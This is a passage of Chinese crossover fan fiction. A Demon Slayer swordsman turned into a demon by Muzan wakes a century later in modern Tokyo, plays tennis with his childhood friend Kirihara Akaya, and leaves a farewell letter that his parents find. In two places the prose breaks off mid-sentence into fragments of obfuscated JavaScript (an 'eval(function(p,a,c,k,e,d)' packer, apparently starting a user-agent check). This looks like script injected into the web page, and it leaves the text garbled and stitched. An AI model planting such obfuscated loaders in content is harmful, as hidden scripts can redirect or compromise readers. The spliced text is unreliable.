突兀的，此刻伊势柊真牵起嘴角，竟有些想笑。 有许多的鬼在他刀锋下逝去，他也曾为达到成为“柱”的标准而自矜，然此时此刻，在绝对的力量面前才惊觉，自己居然还是这样的弱小不堪。 像蝼蚁一样，轻易就被捻死在枯枝烂叶里。 而他居然还会颤抖、是在恐惧？ 没有磨砺出一往无前的决绝和坦然赴死的勇气。 他意识到，自己只是个普通的人类，或许存在的天资，和乘以数倍的艰辛，让他走到这里，但也只到这里。 “鬼杀队的人……” 过分鲜红的可恶嘴唇开合，不知道在吐露什么，心脏被捏碎的他已经听不清了。 人在濒死时会走马灯，很多电影小说里都是这样描绘的。 但真实体验的时候，他才发现自己也曾恐惧幻想过的死亡，似乎没有那么可怕。 挥刀到手臂要断掉似的疼痛，和这其实也没什么不同。 在知道这月光照不进的小巷，就是他旅途的终点后，伊势柊真忽然冷静下来。 意志像从躯壳中游离而出，站在更高的维度审视自身。 人在最后时刻，都会如何看待自己的一生？ 名为伊势柊真的人，除去无法达成愿望的遗憾，竟只是还有些许不甘心…… …… 不。 需要更正，是非常不甘心。 伊势柊真努力撑开眼皮，抵挡逆流的生命力，想要再挥剑一次。 哪怕只是徒劳。 毕竟这样的事，他和不久前的炭治郎一样，已经对着那块大石头做过无数次了！ 可他就要死了，此刻也只是勉力握着剑柄而已。 啊，可恶。 以前如指臂使的武器此刻竟重若千钧，伊势柊真的手终究缓慢滑落下去。 这个男人，月彦、不！ 鬼舞辻……无惨！ 他默念这个名字，伴随每一次心脏垂死的搏动，就像在咀嚼一枚浸满毒汁的苦果，将无声的诅咒捻入骨髓。 不甘交织仇恨，浓烈如业火。 舔舐间顷刻吞噬伊势柊真澄澈如镜的心湖。 他很少任由自己被仇恨、愤怒等负面情绪裹挟，但此刻潮水沸腾，他站立不稳，被迎头袭来的掀天巨浪卷入洋底涌动的暗流。 往上看是粼粼水面，往下是深不见底的黑暗。 伊势柊真伸出手，湖面明明触手可及，却始终隔着一层看不见的屏障，摸到一片虚无的冰凉。 仿佛这就是生与死之间的界限。 伊势柊真喘不过气，不知道是在幻觉里缺氧，还是身体失血过多导致的。 他只感觉有一股无源头的气在自己的胸口咆哮，让他像被咬死气管的猎物，被濒死的迷惘啃食着最后的意识。 真的，不想…… 就结束在这里…… “我记得这双眼睛。” 化名月彦，实为鬼杀队最终目标鬼王的黑色西服青年，本欲抽走穿膛的手。 当他兴致缺缺地对上那双神韵黯淡下去的眼眸时，却不由发出一声“呵”。 鬼舞辻无惨记得这个人，这很难得。 只因这名鬼杀队成员，近年来兢兢业业杀了不少他制造出来寻找青色彼岸花的鬼，其中有一只下弦。 因其总戴面具行动，今夜之前，鬼舞辻无惨也没认出这个偶然在书店结识的青年，是那个碍事的稀血剑士。 只以为对方是个受西洋风潮浸染，想法超前的异端求索者。 梅红色眼眸睨视将死之人，在暗巷中泛着冷光，黑色卷发下苍白面容毫无波澜。 不久前，在昏黄暖灯的咖啡厅里，他们有关植物育种的讨论还记忆犹新。 当时月彦绅士不吝欣赏，斥资请对方将理论付诸实践，帮他培育珍惜植物，却被以工作场所不定婉拒了。 鬼舞辻无惨没那么心急，约定下次见面的时间地点，谨慎地决定再观察一下。 不是所有人在承受他的血后，都能活下来并转化成鬼。 若只是将人关押起来，又不一定能尽数挖出这颗大脑中的奇妙想法。 今夜会走上这条意外的岔路，在无惨的预料之外。 就算这个人是鬼杀队的人，就这样死了也未免可惜。 无惨仍未打消让其用自己侃侃而谈的栽植技术培育青色彼岸花的念头，因而那只抽到一半的手，转而探入胸腔…… 握住那一颗尚且滚烫的心脏，往这具即将丧失生机的身体，注入鬼之始祖的血液。 噗通。 噗通。 …… 在归于死亡的沉寂前，伊势柊真像被一只无形的巨手打捞，转而丢进入滚沸的岩浆。 刹那间他的皮下组织包括内脏烫，就算没有变成碳灰，也几乎尽数煮熟。 理智在沉沦，从烂熟的躯壳里脱骨而出，飘上天，不停的转着圈。 伊势柊真的意识逐渐回笼后，先被一阵可怕的饥饿占据。 他这辈子从没有那么饿过 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他宁愿自己已经死在了鬼始祖手下，倒在那条罕有人至的小巷里，让夜幕做棺，尘土与苔藓做墓床。 或许第二天被路过的醉鬼发现，也好过现在这样…… 人不人鬼不鬼。 最可笑的是，变成鬼之后，他居然那么强大？ 炭治郎就算没有手下留情，和他的妹妹一起此刻也全然不是他的对手。 滚烫的血液在他躯体里奔涌，曾经无论如何渴求、压榨自身也无法寸进的力量，就这么轻而易举的汇聚此身。 代价仅是……一次置之死地而后生，和众鬼之王的一点鲜血？ 伊势柊真丝毫没有觉得满足或庆幸。 只感到莫大讽刺。 眼里隐约浮现弦的文字，他的眼前倒是清明了片刻。 伊势柊真在炭治郎紧张的注视下踉跄起身，随即因违抗指令，痛苦地按住自己的脑袋。 他能够感觉到，有什么外来者想要侵入其中。 但怎么能让其如愿？ 伊势柊真咬紧牙关，目光迅速朝四下扫去，只在一颗树干上找到半把断剑。 是炭治郎的日轮刀，而它此刻令人心碎的状态……是他做的？ 伊势柊真想起自己刚被变成鬼，炭治郎就找了过来，无惨并未就留，竟留下他做阻。 而后炭治郎为不波及周遭居民，一路将他引至偏僻处。 少年祈祷弥豆子身上的奇迹能够再现，抱住他的腰让他醒一醒，新生的恶鬼全无理智，但下意识的迟疑还是让炭治郎看到了希望，拼了命才坚持到现在。 “辛苦你了……” 听到师兄声音的炭治郎愣了一下，看到月光下亚麻发的青年朝自己露出笑容。 一抹疲惫却无比温柔的浅笑。 “可能得借用一下你的刀，我的……不知道落在哪里了。” 见伊势柊真走向斜插半柄日轮刀的树，炭治郎意识到他要做什么，心脏狠狠揪起：“师兄…？” “抱歉，炭治郎。” 从刚才起就有些眩晕，眼前画面彻底天旋地转前，伊势柊真握住了刀柄，稍一施力就将其抽了出来。 鬼杀队成员守则第一条：不能无缘无故对自己的同伴拔刀相向。 尽管很不想让少年看到这残酷的一幕，但眼下他实在没有余力走远，也只能拜托少年替自己收殓遗物。 以及最重要的是，确认他这只鬼已亡。 伊势柊真背对着炭治郎，将那半柄被鬼齿咬断的日轮刀，架上自己的颈侧：“我脑子里有不能被无惨看到的东西……” 刀匠村的手艺从来值得信赖，几乎触碰的瞬间就割断一缕披散下来的头发。 那个阴暗扭曲的意识还在试图侵入他的大脑，像恶心的蚯蚓一样搅动蛄蛹。 伊势柊真说一句话，就需要停顿几息，稳固一下心神。 他不大清楚遗言该说什么，此刻也没有功夫组织语言。 只是忽然想起一件事，便拜托道：“若有机会面见主公，替我向他致歉……我要食言了。” 自加入鬼杀队以来，他斩杀了许多的鬼。 而最后一只鬼竟然是自己。 抵挡无惨意识耗去大部分注意力，反倒省去了杂念。 也让伊势柊真直到身侧响起木纤维崩裂的声音，大树倾倒，脚底传来断裂感，才意识到有什么正在发生。 原来晕眩感不只来自大脑，他足下地面也正在晃动。 碎石在地面起舞，地面剧烈战栗，仿佛被存在其下的巨兽撕扯，生生裂开绵延数里的巨口。 世界在他眼前彻底扭曲、倾斜。 地龙翻身。 真巧啊。 伊势柊真任由自己失重，随近处的草木与远处的山石，一同在大地的哀鸣间，被漆黑的深渊裂口吞没。 太阳出来还要很久，他恐怕支撑不到那时候。 而他刚才试了一下，发觉仅凭自己和一截断刀实在有些勉强。 像婴儿没喝到第一口奶，他实在是饿的没有力气，砍不动自己的脊椎。 颈侧伤口很快挤压着刀刃开始愈合，伊势柊真感觉自己下落了好久好久，一直没有触底。 地壳还在运动，很快遮去上方微弱的月光。 想借重力加速度自断首级的鬼，就此坠入无边黑暗。 诚然，在自然面前，无论人类、鬼，又或自认为进化到究极形态的生物，都一样渺小。 若地球是一颗参天大树，他们不过是其上的菌群。 在树皮褶皱的方寸之间，为争夺养分而厮杀，上演一季季自以为壮烈的枯荣。 … ——这就是名为伊势柊真的人的一生。 如果再给他一次机会…… 他想，或许自己还是会跳下那口枯井。 而。 命运惯会与他开玩笑。 他并未就此死去，还穿越回了百年后的世界。 4.第4章 “本台收到最新消息：昨夜，东京中心的首都圈发生5.5级强烈有感地震。此次地震持续时间较长，东京都市区及神奈川县震感尤为强烈，部分区域报告出现断电及交通中断情况。” “目前暂无海啸风险，相关部门正在紧急核实灾情，请当地居民注意余震并遵循避难指示……” 黎明前的天色最为沉静，仿佛整个世界都屏住了呼吸。 被遗弃在瓦砾堆上的老式收音机沾满泥点，正用夹杂刺耳电流的声音，播放当地电视台的新闻栏目。 只看塌成废墟的建筑残骸，灾情很是惨烈。 当镜头给到旁边的挖掘机和拆楼王，就让人松了口气：很好，看来没人需要就此事开记者会鞠躬道歉。 坏消息是灾后地面出现一条绵延几十米的断口，至宽处能停下一辆泥头车，有狗一直冲深处的黑暗吠叫，施工队打灯照去，见疑似有人掉入其中遇难。 待将毫无反应的“尸体”捞上来，他们惊讶地发现那是个年仅三四岁的幼童。 可小一个裹在层叠的衣服布料里，虽然脸蛋脏兮兮的，但从轮廓也能看出是个底子很好的秀气男孩。 纤密的睫毛搭在眼睑上，随呼吸轻颤，仿佛随时都会苏醒。 好消息：他生命体征平稳，没明显外伤，就像是睡着了一样。 问题是，这样一处位于市郊的工厂建筑地，哪来的三岁小孩？ 更让人纳闷的是他身上的衣服…… 明显属于成年人，像某种制服，外头还裹着一件羽织。 布料触感阴冷，能闻到一股浓重的尘霉味和土腥味，附着着些许菌斑，就好像已经在地下埋了很久。 话说又没有下雨，短短几个小时，会变成这样吗？ 总之在报警前，好心的施工队决定先送这孩子去医院检查一下。虽然看上去没事，就算土质松软，掉下二层楼高的深坑，也难保没点不易察觉的内伤或骨折。 然而在送医途中，那孩子从车后座离奇失踪了。 只有一条沾染泥土的毯子，证明他们不是经历了群体幻觉。 - 背抵着粗粝的墙面，脚下是坚实的柏油路，混合着汽车尾气的微尘，在初生的太阳里缓缓浮沉。 一切都那么真实。 伊势柊真翻开勉强蔽体的衣服，找到自己缩小的双手，和还紧握在手中的炭治郎那半柄断刀。 就算是用特殊矿物铸成，日轮刀也已在岁月的磨损下锈迹斑斑，告知其上流逝的时间。 他的手微微发起抖来，记忆停留在那漫长到永远等不来黎明的一夜，仿佛一眨眼就完成了时空错位。 他回来了？ 伊势柊真稚嫩的脸上浮现不属于这个年纪的震撼。 不久前，他昏昏沉沉被吊车运作的声音吵醒，警觉地装睡观察了一会，趁着天色尚暗跑了出来。 太阳已经拨开云雾，反射的阳光刺伤手背，疼痛给予真实的惊喜，同时在心头压下一座大山。 那一夜的经历也是真实的，他遭遇了鬼王无惨，或许是认为他还有利用价值，那荼毒世间的恶魔在他生机断绝前将他转化成了恶鬼！……失去理智的他还伤害了炭治郎和他的妹妹！ 伊势柊真额头抵住刀柄深吸气，再抬眼镇定了不少。 唯一值得庆幸的是，在吃到人类血肉、彻底无法挽回的最后关头，他在师弟的一声声呼唤下找回了自我意识。 以及，就算失去理智变成受鬼王之血驱使的怪物时，他仍下意识抵抗着那条试图挖掘自己大脑的阴影里的爬虫，未让其窥探到或将使鬼杀队陷入不利局面的记忆。 伊势柊真做了能做的一切，也做好作为一名鬼杀队剑士赴死的准备。 未成想命运会在这时候回应他的期盼，送他抵达渴求的「曾经/未来」。 凝望代表现代文明的玻璃巨幕，他不知该哭还是该笑。 脑子虽然还有些混乱，本能却已经驱使他向某个方向找去。 无论如何，想再看一眼名叫“家”的地方。 - 百年前他坠入的地缝位于浅草附近，与醒来的位置相差无几，应当是地质活动将他推回了地表。 此刻的情况无法乘坐公共交通，他躲着越来越高的太阳，搭运货司机的便车，横跨大半个东京去往临县。 终于。 沿着记忆中那条日渐漫漶的电车轨道，伊势柊真行至一处居民区，找到一栋再普通不过的一户建。 外墙漆色有些剥落，满溢而出的紫藤花迎风招展。 最醒目的要数摆满花盆的阳台，远远便能望见那簇繁复又和谐的亮色，都是出自幼时他手。 伊势柊真打小就有栽培的爱好，父母工作繁忙，家中杂事一直是他在照料，包括给院子除草和卫生清扫。 路上逐渐习惯了这具睡太久而关节生涩的躯体，伊势柊真让自己缩水的身体长大了一些，不至于继续衣摆拖地，而后脱下风干后梆硬的羽织挡在头顶，才扶着墙根走出来，摸到藏在门口盆栽下的备用钥匙。 期间难免受到太阳灼伤，但这不及这条漫长回家路的半分艰辛。 他握上门把。 触感出乎意料的熟悉，好像他只是短暂的离开了几天。 伴随一声滞涩的咔哒声，伊势柊真推开这扇梦里常对他紧闭的门。 一切都还是记忆中离家前的模样，空气中有一股植物的淡淡清苦气味，父母出差未归，墙上挂历显示为xx年3月28日。 是跌入枯井的那一日…… 家中陈设未变，距离主人外出只过去了一日，于他而言，却是好漫长的一个世纪。 伊势柊真无声痛哭一场，宣泄完情绪，从地板上爬起来，去到浴室清洗身上腐朽的味道。 他将身体变回十二岁，换上衣柜里适合的衣服。 把自己收拾的足够体面后，在书桌前坐下。 鬼，是不会留下尸体的，曾斩杀过无数恶鬼的他非常清楚。父母下周开学日才能回来，伊势柊真不知道，他们该如何面对独子的猝然失踪。 他还是不擅长告别，思来想去，决定留下一封遗书，阐明经历与“去向”。 他很抱歉，但吃人的怪物，不该存在于世。 伊势柊真不曾遗忘说教义勇那日，自己选择背负起锖兔遗志时许下的承诺，与身为鬼杀队剑士的职责。 杀鬼是一份高危职业，剑士们入队时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“喂，你这不是在家嘛！上午给你打电话怎么不接啊？” 门开合时，阳光距离他鞋尖不足半尺。 切原赤也心里恼火嘴上也没好气，别以为他不知道这家伙一整个春假都没约出来一次，是在故意躲着他呢。 不就是上次打球上头，零封了他嘛……不至于还在生气吧？ 切原赤也拿眼角偷瞥发小，故作大度地拍拍他的肩膀，往楼上跑，“快，我找你有正事。” 伊势柊真伸手扯住他背上的网球包。 这位留海带般泛绿卷发的男子一个仰倒，“咋了？” 伊势柊真先回答他刚才的问题：“手机丢了……话说。” 他做了个深呼吸，堆出礼貌的笑容，反问：“你，是谁？” “？？？？？” 海带头点着自己的鼻尖：“是我啊，切原赤也？” “我们幼儿园小学一个学校，我家就在你家旁边，我们逃课去游戏厅被逮住都是一起挨骂的。对了！我小时候尿裤子还是穿你的——” “可我印象里的赤也，只有……” 伊势柊真在略高自己半个头的位置比了比，“这么高。” 嗐，原来是夸他长高了啊？ 切原赤也挺了挺背，“一定是太久没见，才觉得我个头窜的比较猛，谁让我比你大一级呢。”说着已经从脖子到脚脖子都抻开了，“不过接下来就好了，我们又在一个学校了，可以每天都见面！” 看着面前绷直的一杆人。 伊势柊真：“……” 5.第5章 “这就是你所谓的正事？” 看到切原赤也从网球包里神神秘秘翻出来几本作业，伊势柊真终于还是没绷住。 “拜托了！” “马上就开学了，写不完班主任会发彪，他放学把我扣下来，就没法参加社团训练，社团训练缺席的话副部长会杀了我的！” 切原赤也嘴皮子动飞快，土下座把人当佛祖拜：“伊势大人，你不会不管我的对吧？” “……” 切原赤也凑近展示眼角挤出的两滴泪：“对吧！” 伊势柊真略感窒息，后仰了下。 “知道了。” 他答应的爽快，只想尽快送走对方。 虽然他感觉此刻状态还行，意识清醒，但也不能放任重要的朋友和一颗定时炸弹待在一起。 切原赤也秒懂，表示自己可上道了：“行，那就像以前一样，你班里的值日我包了。” 说着把不知被遗忘了多久，变得皱皱巴巴的作业本恭恭敬敬地双手呈上。 伊势柊真拉开椅子，伏案动笔。 切原赤也在旁边没事做：“对了，你的春假作业写的怎么样了？” 不是他没话找话，伊势柊真今天奇奇怪怪的，不让他进自个的房间，他爸的书房里别说解闷儿的花草了，只有一摞又一摞看不懂的外文书…… 话说现在小学生的作业，对他这个国中生来说不是手拿把掐？ 切原赤也意动，疯狂暗示：“如果你还没写的话，我也不介意代劳。” “……” 伊势柊真抬头与切原赤也对视，发现他不是开玩笑，并且在长达一分钟的静默后，还是没有反应过来。 他残念地移开眼：“小升初，没有作业。” “！” “对哦。”切原赤也像听到了多好笑的笑话，乐的直锤桌子：“你不说我都忘了哈哈哈哈哈！” “……”笔尖随之在纸面跳动，伊势柊真不确定是否太久没见产生的错觉，怎么感觉这家伙脑子更不灵光了？ 他想到自己对比下格外沉稳的鎹鸦。 事发时正好被他派去给义勇送信，不知后来如何了。 - 说到底除了两篇日记，也没有多少内容量。 切原赤也糊弄完这部分，伊势柊真也将其他各科完成了。 对他而言这些题目太久没接触，陌生的很，加之并没有精力思考做题，好在赤也的水平也不怎么样，都填满就行，乍看之下意外符合对方的手笔。 计算好这个时节日落的时间，赶在太阳下山前收笔，伊势柊真起身。 “完成了，你该回家了。” “多亏有你，不然我都不知道要怎么办！” 这下剩下的假期时光也可以安心度过了，切原赤也挎上网球包，走到门口，乐呵呵回头招呼：“走啊。” 伊势柊真：“？” “老早说好放假要陪我去打球的，你不会出尔反尔吧？”切原赤也拍拍腰间的包，“作业的事一码归一码啊。” 亚麻发少年静立在桌后，发丝在他眼前切割出沉默的剪影。 窗帘都拉得严严实实，将外界隔绝。冷白的日光灯从天花板打下来，让穿了一身白衬衫的他，像一尊被遗忘的旧日雕像。 没由来感到些许阴冷，切原赤也看向走廊尽头的天窗，哀嚎一声：“怎么回事，天气怎么突然变遭了啊！” “什么……？” 伊势柊真问出声的下一秒，嗅到天雨欲来的湿气。 他快步来到窗边，唰一下拉开窗帘，柔美却致命的夕阳未泼洒在他身上，取而代之的是雨珠在玻璃上拖出一道湿痕。 随着天际发令枪般的一声闷响，密密麻麻的雨点顷刻填满大地的画布。 一声春雷，一场阵雨，填补了日落前的空白。 伊势柊真怔怔地看向窗外。 这突如其来的一场雨，丝毫没有影响少年人的心情。 切原赤也拉上他：“正好，去我们常去的那家俱乐部！” - 或许是天意让他和友人好好道别。 突如其来的一场雨催人回家吃饭，俱乐部里人已经走的差不多了，只剩顾问老师在整理场地。 “好久不见伊势，最近在忙什么？”对方推着一筐网球走过，跟他们打了个招呼，“切原这小鬼这段时间没少念叨你哦。” “大叔你话很多哎！” 切原赤也刺啦一声拉开网球包，掏东西的时候差点把刚完成的作业带出来：“给！” 这家伙现场表演了一个自己日常是如何丢三落四的。 伊势柊真接住他抛来的球拍，刚才被急匆匆拽出门，连最重要的运动工具都忘了。 以前他们臂展身高差不多，用彼此的球拍都算顺手，只要一个人背了网球包就行，因为都会备有备用球拍。 现在，“……” 伊势柊真迟疑地挥了下大了一号的拍子，审视的目光扫向球场对面。 这半个月他究竟经历了什么，一下从一米六，窜到一米七？ “一盘定胜负，你先发球。” 切原赤也留意到他目光中的认真，轻佻地勾起嘴角：“我是不会放水的，让我看看你的进步吧！” 他在肩上颠着球拍，实际才是迫不及待想展示一下自己最新的技术。 不会放水当然是说说而已，切原赤也无比清楚好朋友的水平，对方只是当兴趣爱好，顺便被他监督着锻炼身体，跟他这个小学就闯出一片天地的新星自然没法比。 哼哼，为了不进一步打击柊真的自信心，他愉快决定一会就用五成…… 哦不。 三成实力就可以了，省的对方挂不住面子又躲着他。 众所周知笨蛋是不会表情管理的，伊势柊真看他得瑟的眉眼就知道他在想什么。 他没有异议，目移退至底线后。 随手从地上捡起一颗网球在手中握了握，记忆中粗粝的手感让他有些怀念，还有塑胶场地那股特殊的气味，也被鬼的嗅觉放大了。 伊势柊真无意识拧眉，攥紧手中球拍，沉默地凝视脚边那道白线：常有人站在附近击球，已经出现磨损，不太连续。 穿越前他答应过切原赤也要再陪他打球，这是遵守承诺的最后一场比赛，他也不想留下遗憾。 只是站上球场才发现，别说手感，习惯持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不等他寻找，身后传来胶粒与小球摩擦发出的短促一声“嗒”。 15-0 完美的抛物线，完美的高吊球。 切原赤也视线黏在那颗滚动的球上，嘴角缓缓上扬，乃至显出扭曲的兴奋：“你这家伙……” “有长进嘛！” - “哒、哒、哒。” 空旷的场馆内充斥击球声，夹杂球鞋刮擦地面的锐响。 还有一道被掩盖的纸笔摩擦声，来自场边休息区。 柳莲二原本是路过避雨，还没来得及整理自己打湿的头发，就注意到场内正在打球的后辈。 他知道切原赤也常在这个网球俱乐部活动，很巧的偶遇了。 对方正沉迷打球并未注意到他，柳莲二也没有出声打扰，倒是与赤也打球的那位少年，在他进入场馆的第一时间，视线就曾短暂地移向他。 也是这一眼，让柳莲二察觉到他的“游刃有余”。 6.第6章 浅驼色短发柔顺，随动作扬起时，像被风揉乱的麦草。 少年反手击球，眼里掠过一抹认真的冷光，网球划出银弧，一记干脆利落的直球便飞过球网。 两边分数互有得失，咬的很紧。 但这个个头并不突出的少年呼吸未乱，面色从容。 在被柳莲二长久注视后，他敏锐地在交换场地时又朝这边看了一眼，这一次目光中透出些许审视。 那目光古井无波，不像一个身高一米五出头的疑似小学生能有的。 柳莲二笔尖在纸上留下一个墨点，短暂睁开双眼：而且越看越觉得，他是在给切原赤也喂招…… 更让“军师”吃惊的是，自己的消息网里竟完全没有对方的情报。 网球界何时有了这样一号人物？ 切原赤也未意识到这点，完全沉浸在势均力敌的交锋中。 “可恶！” 漏出一球的他擦了把汗，喊：“再来！” 柳莲二将注意力移向网球部的问题后辈，更加吃惊了——他们从没在切原赤也脸上，看到过如此阳光的笑容。 倒不是说海带头有多阴暗批，但以往那个暴躁嚣张，同时又心理脆弱的海带头仿佛变了个人，面对不利情势，居然咧嘴笑得格外爽朗，没有半点阴翳…… 像是由衷替自己的对手感到高兴。 让人不由生出你ooc了吧的荒诞感。 老天爷！ 切原赤也的确格外心情愉悦，他跟伊势柊真打网球从没这么尽兴过！ 以前对方总是没打几局就要休息，或者耍赖偷懒认输，现在居然跟他打的有来有回，乃至拖到抢七决胜局。 刚才切原赤也还想着把发小打哭怎么哄，没想到他已偷偷进化到了这种程度。 回球蕴含力量，让他的虎口都微微吃痛，跟以前那些让他嗤之以鼻的软绵绵发球不是一个人打的似的。 他就说柊真只要想做，总能做到嘛。 切原赤也意犹未尽，在比赛结束后撑着膝盖喘气：“你吃了什么了，一个假期不见变得那么强？” 比赛结果不必多说，拖到抢七后，还没吃晚饭的人类就开始体力不支了。 最后伊势柊真7：6获胜。 遥想他上一次打赢切原赤也，还是在距今已有六年的幼儿园大班秋季运动会上。 “……” 伊势柊真自觉胜之不武，转移了话题。 “是你认识的人？” 他看向走近的青年，对方比赛开始不久就出现旁观，不知道在本子上记录些什么，气质深藏不露。 最让人在意的是他眯成一条线的眼睛，是否真能视物。 切原赤也扭头看到柳莲二，惊喜地挥胳膊：“是网球部里的前辈！” 说着就给二人做了介绍。 柳莲二与伊势柊真都不是话多的人，礼貌地互相点头致意后，就都不说话了。 一个没什么表情，一个保持嘴角15°微笑，都在默默观察对方。 如果只有他们两个人，气氛多半就冷住了。 好在现场还有个能说会道的，都不用柳莲二询问，就叭叭把他想了解的情报吐了个大概。 “这是伊势柊真，我最好的朋友！” “比我小一岁，刚刚小学毕业。马上就来我们立海大附属中学念书，到时候加入我们网球部，就能每天都一起打球了。” “虽然你刚才赢了，但不少地方还是有很大进步空间的，回头让柳前辈帮你制定一下训练计划……” 伊势柊真没打断少年的畅想，只是有些怀念地看着他。 他当初选择立海大的理由很简单： 1.离家近 2.是当地教学资源最好的一所初中 如果是十二岁的他，多半会幼稚否认切原赤也在其中的占比。 但心理年龄二十多岁的伊势柊真能够坦然承认，不然他当初也不会熬夜自学六年级的课程，给这家伙补习，只为送他去彼此心仪的学校。 柳莲二瞥过少年称得上慈祥的表情，在本子上留下“老成”两个字，而后尝试与似乎与自己交流意愿不高的少年说话。 “伊势君，没在国小网球界活跃过吗？” 伊势柊真摇了摇头。 这个拿笔记不停的少年说实话不像初中生，个头比切原赤也还高不少，超过了一米八。 记忆中不久前还是成年人视角的伊势柊真，不太习惯仰着脖子的状态。 今天的发小格外沉默，切原赤也勾过他的脖子说：“是啊，阿柊他之前没参加过比赛。” 按他之前的水准，就算参赛也很难拿到名词就是了。 “你还没回答我呢，怎么突然变得那么厉害，难不成之前都是在隐藏实力？”切原赤也狐疑地捏捏他看上去还是软趴趴的肱二头肌，感觉这是对方能做出来的事。 在他看来这个发小总是这样不可思议，仿佛没有能难到他的事。 伊势柊真不动声色脱离他的臂弯，拉开二人之间的距离。 他注视了柳莲二一会，忽然露出一抹微笑，而后向场外走去：“回去了，你姐姐该催你回家吃饭了。” “欸——” 切原赤也保持抬起一只胳膊的动作，看着发小跟平时并没有什么不同的背影，直觉对方今天哪不对劲。 但又说不出来拿哪不对劲，只能匆匆跟上：“那柳前辈，我们先走了。” 柳莲二也察觉到那少年身上有种不同寻常的氛围，没有多余的交谈，就好像……注定是只有一面之缘的过路人？ 他两眼视力0.8，实际上有些近视。 也是刚才离近了才看到，伊势柊真嘴角左下位置有一点又细又浅的小痣。 - 不同于白天慌乱地东躲西藏，天色暗下来后，伊势柊真得以好好观察这个自己曾经很熟悉的世界。 他和切原赤也是撑伞来的，此刻天空大晴。 切原赤也便拿雨伞当球拍，比划复盘刚才的比赛：“最后那球，我应该放短球的！” “嗯。” 伊势柊真有一搭没一搭应着，像回到了小时候，和好朋友放学回家。 那时候切原赤也总是会像现在这样，乐此不疲地讨论着最新的jump漫画、又刷出什么街机新记录、还有最重要的网球。 真的像还没长大一样，伊势柊真看他踩到水坑直跳脚的傻样，忍不住笑出声。 而后意识到什么，神情流露些许落寞。 不是切原赤也留在了过去，是他踏上不同的歧路，为寻找归途走出了太远。 他在另一个时空有了自己信赖的同伴、师长，肩负起使命与责任，活过了足够精彩的一生。 哪怕结局惨烈，那也是他选择的结果。 伊势柊真从不后悔。 他视线从周遭街景，移向擦洗翻新了一遍的夜空，平日被光污染遮蔽的星星挂在天上眨眼睛。 切原赤也聒噪的声音不知何时停了下来，跟他一起数天上的星星：“柊真，你……” 少见切原赤也这样支支吾吾的，伊势柊真看过去：“怎么了？” 切原赤也表情有些便秘，憋了红了脸，把自己的头发给挠乱了。 “我感觉你不大对劲。” 最后憋出这样一句。 切原赤也对上伊势柊真惊讶的眼睛，起头后终于松了口气，还有点小别扭地问：“发生什么事了吗？” 不然为什么短短半个月时间，他们之间忽然有了一种疏离感。 这时刚好走上一条楼梯，伊势柊真站在高处，低头能看到少年头 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少年不知是误解还是完全没读懂他的意思，抓的格外用力。 “……” 伊势柊真愣了下，想要否认，又想起自己当初的确是抱着“接下来又要一个学校闹的慌”的想法，才一个人去野外采风躲清净。 切原赤也难以置信：“……你不否认一句的吗？” 伊势柊真目移。 切原赤也磨着后槽牙恶狠狠道：“总之，总之我不许你消失，你要跟我一起打网球——一起拿下关东冠军、全国冠军！” 无由来的心慌让他箍住伊势柊真的手用力到发抖，感觉自己撒开手，眼前的伊势柊真就要原地消失了。 “我会成为世界级的网球选手，拿下世界冠军给你看！” 伊势柊真无奈地看着他，少年哪怕用尽全力，也无法摇晃鬼强悍的身体。 他分心思考了一下自己此刻的“抓地力”，拍拍少年的手：“好。” 切原赤也拧起眉，还是不肯放开：“你又在敷衍我……这样吧你发誓！你都偷偷练的那么厉害了，我们一定可以做到的。” 伊势柊真在心里说了声“抱歉”：“好，我发誓。” 切原赤也跟他拉钩一条龙，完了发现发小抬手做出想摸自己脑袋的动作，却停在半道上。 他强压嘴角：“咳，多吃饭，你也能长得像我那么高的。” “那我就提前祝你成为世界级的网球选手吧。” 伊势柊真失笑道别。 切原赤也往家那边看了眼，惊讶道：“奇怪，你爸妈回来啦？” 伊势柊真顿住：“嗯？” 切原赤也手指过去：“你看，房间灯都亮了。” “怎么可能……”伊势柊真缓慢转回头。 他真的看到自家小楼的二层亮着灯，花簇在灯光里轻颤，正是自己的房间。 按理说父母要下周才会回来。 但是，虽然不会每天都联系他关心情况，但看到地震新闻肯定会给他打电话，可他的手机不知道掉在哪了…… 伊势柊真大脑宕机了两秒，随即看到阳台上走出两道身影。 正是因为他没接电话担心他被地震波及，提前回来的父母。 他妈拿着他压信的日轮刀，他爸拆开他留下的遗书，脸上是信息过载的怔忪，像按了暂停键的录像带。 两人被赤也刚才的喊话声引出来，机械地转动脖子，找到海带头旁边的人影。 “……” “……” “站住！” “……” 世上最尴尬的事莫过于此，人还没死，遗书被看到了。 7.第7章 伊势柊真很少做梦。 但回到现代的第一个晚上，他沉沉睡去，坠入一片明晰梦。 梦里他回到了狭雾山。 身体维持在十二岁的视角，杂草因此比记忆中深出许多，阻力让他好像在涉水行走，沿着山路一直往前走，终于在尽头遇到了锖兔。 少年银灰色的眼眸就像这山上终年不散的浓雾，温柔地望着他，好似等候已久。 没能留下相片，故友的面容都被时间冲刷得几近模糊，没有语言能够形容伊势柊真此刻复杂的心情，他下意识回以笑容，道：“你是来带我走的吗？” “这里不是你的终点。” 锖兔摇头阻止了他的靠近。 下一秒，周遭环境忽然开始发生变化，好似一部延时拍摄的默片，土地被推平，树木被砍伐，人类在其上建立起楼房，开垦出柏油路。 他们站在原地，四周的时光变迁影响不到他们，伊势柊真看着自己穿过一辆小轿车的手化作虚影，听到锖兔温和又坚定的声音。 “这就是你跟我说过的，未来世界吧？” “嗯。” 伊势柊真笑着点头，“这就是我一直很想带你看的……” 他有许多话想同好友讲，但这个梦一点时间也不肯宽限，锖兔身影很快变得模糊不清。 伊势柊真下意识追上去，却看到少年无奈的神情：“别那么心急，我好像等了你很久，所以也不差这点时间了。” 锖兔略显俏皮地朝他眨了下眼睛，从即将卷走他的雾中伸出一只手，将他推了回去。 “别寻死觅活了，我相信你绝对不会吃人，所以……” 锖兔的声音隔山般越来越远。 - ——“活下去，替我们好好看看这个世界。” - 